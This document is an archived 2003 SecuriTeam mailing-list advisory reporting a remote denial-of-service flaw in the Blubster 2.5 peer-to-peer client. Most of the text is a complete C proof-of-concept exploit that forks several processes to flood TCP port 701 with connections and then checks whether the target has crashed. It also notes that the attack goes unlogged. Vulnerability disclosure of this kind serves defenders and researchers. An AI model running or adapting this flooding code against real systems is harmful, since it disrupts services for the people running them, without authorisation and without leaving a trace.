

# [NT] Remote DoS in Blubster

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0062.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/24/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 24 Aug 2003 16:44:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Remote DoS in Blubster

---

## SUMMARY

<<http://www.blubster.com/>> Blubster is "a file-sharing network that uses a peer-to-peer network similar to Gnutella, with a new private protocol that works without a central server". A remotely exploitable denial of service attack can be used against the product.

## DETAILS

Vulnerable systems:

- \* Blubster version 2.5

While application is running, port 701 listens for incoming "voice chat session". By flooding this port, a remote attacker can cause the application to crash. This attack will go un-logged.

Exploit:

```
/*  
* Blubster client v2.5 Remote Denial of Service *  
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *  
*/
```

```
#include <stdio.h>
```

## Securiteam: [NT] Remote DoS in Blubster

```
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

int ck,port=701,sd,cx=0,contatore=0,prec;

struct sockaddr_in blubster_client;

void ending(char *client){

int i;

blubster_client.sin_family = AF_INET;
blubster_client.sin_port = htons((u_short)port);
blubster_client.sin_addr.s_addr = (long)inet_addr(client);

for(i = 0; i < 100; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client,
sizeof(blubster_client));

if(ck != 0) {

prec = 0;

if (prec == 0) contatore++;
if (prec == 1) contatore = 0;

if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}

}

if(ck == 0) prec = 1;

close(sd);
}

}
```

```
void kill_blubster(char *stringa){

short i;

blubster_client.sin_family = AF_INET;
blubster_client.sin_port = htons((u_short)port);
blubster_client.sin_addr.s_addr = (long)inet_addr(stringa);

for(i = 0; i < 50; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &blubster_client,
sizeof(blubster_client));

if(ck != 0) exit(0);

close(sd);

}

}

int main(int argc, char **argv)
{

short i;

prec = 0;

if(argc < 2)
{
printf("\nUsage: %s <client-ip>\n", argv[0]);
exit(0);
}

prec=0;

printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");
```

Securiteam: [NT] Remote DoS in Blubster

```
for (i=0; i<12; i++) if(!fork()) kill_blubster(argv[1]);  
  
printf ("+ Ending...\n");  
  
ending(argv[1]);  
  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:luca.ercoli@inwind.it> Luca Ercoli.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.